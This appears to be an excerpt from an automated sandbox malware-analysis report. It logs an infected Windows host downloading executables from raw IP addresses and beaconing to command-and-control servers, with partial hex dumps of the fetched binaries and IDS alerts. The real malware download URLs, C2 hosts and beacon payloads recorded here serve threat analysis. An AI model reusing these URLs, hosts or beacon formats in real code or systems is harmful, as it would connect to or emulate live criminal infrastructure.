00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 c9 0f 00 00 00 00 00 48 00 00 00 02 00 05 00 5c c8 0e 00 14 01 01 00 03 00 00 00 01 00 00 06 80 c5 00 00 dc 02 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 28 08 00 00 06 2a 1e 02 28 25 00 00 0a 2a ba 7e 01 00 00 04 3a 1e 00 00 00 72 01 00 00 70 d0 03 00 00 02 28 26 00 00 0a 6f 27 00 00 0a 73 28 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 39 00 00 70 7e 02 00 00 04 6f 29 00 00 0a 74 05 00 00 1b 2a 86 d0 71 00 00 01 28 26 00 00 0a 02 72 45 00 00 70 28 2a 00 00 0a 28 01 00 00 2b 6f 2c 00 00 0a 26 2a f2 28 0d 00 00 06 28 0c 00 00 06 6f 2d 00 00 0a 7e 04 00 00 04 25 3a 17 00 00 00 26 7e 03 00 00 04 fe 06 0b 00 00 06 73 2e 00 00 0a 25 80 04 00 00 04 28 02 00 00 2b 28 07 00 00 06 2a 2e 73 0a 00 00 06 80 03 00 00 04 2a 46 03 6f 30 00 00 0a 72 59 00 00 70 28 31 00 00 0a 2a 1e 02 28 32 00 00 0a 2a 42 72 df 01 00 70 73 41 00 00 0a 80 05 00 00 04 2a 1e 02 7b 06 00 00 04 2a 22 02 03 7d 06 00 00 04 2a 1e 02 7b 07 00 00 04 2a 22 02 03 7d 07 00 00 04 2a 66 02 72 a8 03 00 70 7d 08 00 00 04 02 28 42 00 00 0a 02 03 7d 08 00 00 04 2a 22 02 03 28 43 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 16:43:54 GMTContent-Type: application/octet-streamContent-Length: 4495360Last-Modified: Fri, 20 Dec 2024 16:42:01 GMTConnection: keep-aliveETag: "67659e59-449800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 00 ca 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 ca 00 00 04 00 00 21 a5 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 ed c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 ed c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 74 00 00 10 00 00 00 4c 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 60 74 00 00 02 00 00 00 5c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 74 00 00 02 00 00 00 5e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 39 00 00 80 74 00 00 02 00 00 00 60 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 65 66 6f 76 61 65 6c 00 10 1c 00 00 e0 ad 00 00 10 1c 00 00 62 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 61 76 72 6b 79 6b 6a 00 10 00 00 00 f0 c9 00 00 04 00 00 00 72 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 ca 00 00 22 00 00 00 76 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 16:44:01 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Sat, 31 Aug 2024 15:19:00 GMTETag: "134220-620fc3a2ae100"Accept-Ranges: bytesContent-Length: 1262112Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e5 98 65 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 c6 12 00 00 08 00 00 00 00 00 00 ae e5 12 00 00 20 00 00 00 00 13 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 13 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 e5 12 00 57 00 00 00 00 00 13 00 c6 05 00 00 00 00 00 00 00 00 00 00 00 d0 12 00 20 72 00 00 00 20 13 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 c5 12 00 00 20 00 00 00 c6 12 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c6 05 00 00 00 00 13 00 00 06 00 00 00 c8 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 13 00 00 02 00 00 00 ce 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 e5 12 00 00 00 00 00 48 00 00 00 02 00 05 00 5c e4 11 00 f8 00 01 00 03 00 00 00 01 00 00 06 80 c5 00 00 dc 1e 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 28 08 00 00 06 2a 1e 02 28 25 00 00 0a 2a ba 7e 01 00 00 04 3a 1e 00 00 00 72 01 00 00 70 d0 03 00 00 02 28 26 00 00 0a 6f 27 00 00 0a 73 28 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 37 00 00 70 7e 02 00 00 04 6f 29 00 00 0a 74 05 00 00 1b 2a 86 d0 71 00 00 01 28 26 00 00 0a 02 72 43 00 00 70 28 2a 00 00 0a 28 01 00 00 2b 6f 2c 00 00 0a 26 2a f2 28 0d 00 00 06 28 0c 00 00 06 6f 2d 00 00 0a 7e 04 00 00 04 25 3a 17 00 00 00 26 7e 03 00 00 04 fe 06 0b 00 00 06 73 2e 00 00 0a 25 80 04 00 00 04 28 02 00 00 2b 28 07 00 00 06 2a 2e 73 0a 00 00 06 80 03 00 00 04 2a 46 03 6f 30 00 00 0a 72 57 00 00 70 28 31 00 00 0a 2a 1e 02 28 32 00 00 0a 2a 42 72 dd 01 00 70 73 41 00 00 0a 80 05 00 00 04 2a 1e 02 7b 06 00 00 04 2a 22 02 03 7d 06 00 00 04 2a 1e 02 7b 07 00 00 04 2a 22 02 03 7d 07 00 00 04 2a 66 02 72 a6 03 00 70 7d 08 00 00 04 02 28 42 00 00 0a 02 03 7d 08 00 00 04 2a 22 02 03 28 43 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 16:44:06 GMTContent-Type: application/octet-streamContent-Length: 810496Last-Modified: Thu, 19 Dec 2024 19:41:56 GMTConnection: keep-aliveETag: "67647704-c5e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 fa bb 5e 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 66 02 00 00 d4 00 00 00 00 00 00 12 c3 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 06 03 00 50 00 00 00 00 70 03 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 cb 02 00 18 00 00 00 f8 8f 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 60 08 03 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6d 64 02 00 00 10 00 00 00 66 02 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ec 9b 00 00 00 80 02 00 00 9c 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 25 00 00 00 20 03 00 00 16 00 00 00 0a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 4f 44 45 00 00 00 f4 0e 00 00 00 50 03 00 00 10 00 00 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 60 03 00 00 02 00 00 00 30 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 70 03 00 00 02 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 78 1c 00 00 00 80 03 00 00 1e 00 00 00 34 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 a0 03 00 00 86 04 00 00 52 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 30 08 00 00 86 04 00 00 d8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/Mnanadra/Baursystempower.exe HTTP/1.1Host: 194.126.174.112
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 36 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018676001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 36 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018691001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/Krokodyl02/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 36 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018692001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /3ofn3jf3e2ljk/ HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: cobolrationumelawrtewarms.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 36 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018693001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /3ofn3jf3e2ljk/ HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: cobolrationumelawrtewarms.comContent-Length: 160Cache-Control: no-cacheData Raw: 72 3d 45 32 46 37 32 33 38 36 45 34 32 41 46 41 34 46 33 36 37 45 43 34 30 43 34 38 32 43 37 32 33 32 46 37 34 38 45 32 39 38 46 46 36 35 31 36 44 30 38 39 33 31 30 42 35 33 41 33 45 41 41 43 36 31 30 32 37 39 34 41 46 41 31 37 45 34 43 41 44 43 33 44 44 42 45 31 45 41 42 42 46 45 39 42 32 44 45 31 45 38 34 38 34 41 46 31 33 44 35 34 38 33 32 37 42 33 37 31 46 44 31 38 39 30 30 33 44 34 43 35 35 42 45 32 34 34 35 43 34 35 42 34 41 32 41 41 37 45 30 36 39 41 46 42 44 36 43 35 Data Ascii: r=E2F72386E42AFA4F367EC40C482C7232F748E298FF6516D089310B53A3EAAC6102794AFA17E4CADC3DDBE1EABBFE9B2DE1E8484AF13D548327B371FD189003D4C55BE2445C45B4A2AA7E069AFBD6C5
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/Bawerfools/Bestsoundeffectives.exe HTTP/1.1Host: 194.126.174.112
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 36 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018694001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /3ofn3jf3e2ljk/ HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: cobolrationumelawrtewarms.comContent-Length: 32Cache-Control: no-cacheData Raw: 65 32 3d 31 30 30 30 31 32 38 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e2=10001280101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /3ofn3jf3e2ljk/ HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: cobolrationumelawrtewarms.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /3ofn3jf3e2ljk/ HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: cobolrationumelawrtewarms.comContent-Length: 160Cache-Control: no-cacheData Raw: 72 3d 45 32 46 37 32 33 38 36 45 34 32 41 46 41 34 46 33 36 37 45 43 34 30 43 34 38 32 43 37 32 33 32 46 37 34 38 45 32 39 38 46 46 36 35 31 36 44 30 38 39 33 31 30 42 35 33 41 33 45 41 41 43 36 31 30 32 37 39 34 41 46 41 31 37 45 34 43 41 44 43 33 44 44 42 45 31 45 41 42 42 46 45 39 42 32 44 45 31 45 38 34 38 34 41 46 31 33 44 35 34 38 33 32 37 42 33 37 31 46 44 31 38 39 30 30 33 44 34 43 35 35 42 45 32 34 34 35 43 34 35 42 34 41 32 41 41 37 45 30 36 39 41 46 42 44 36 43 35 Data Ascii: r=E2F72386E42AFA4F367EC40C482C7232F748E298FF6516D089310B53A3EAAC6102794AFA17E4CADC3DDBE1EABBFE9B2DE1E8484AF13D548327B371FD189003D4C55BE2445C45B4A2AA7E069AFBD6C5
Source: global traffic	HTTP traffic detected: GET /files/Bawerfools/Autosoundmick.exe HTTP/1.1Host: 194.126.174.112
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 36 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018695001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/bckosq/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View

IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49730 -> 194.126.174.112:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49732 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49733 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49735 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49736 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49737 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49738 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49743 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49740 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49746 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49745 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49752 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49765 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49768 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49774 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49775 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49769 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49776 -> 194.126.174.112:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49780 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49783 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49796 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49799 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49795 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49803 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49804 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49810 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49814 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49744 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49758 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49792 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49823 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49825 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49824 -> 194.126.174.112:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49831 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49833 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49840 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49843 -> 31.41.244.11:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=64XA112BAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12800Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XKHDL4DX7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15046Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: discokeyus.lat
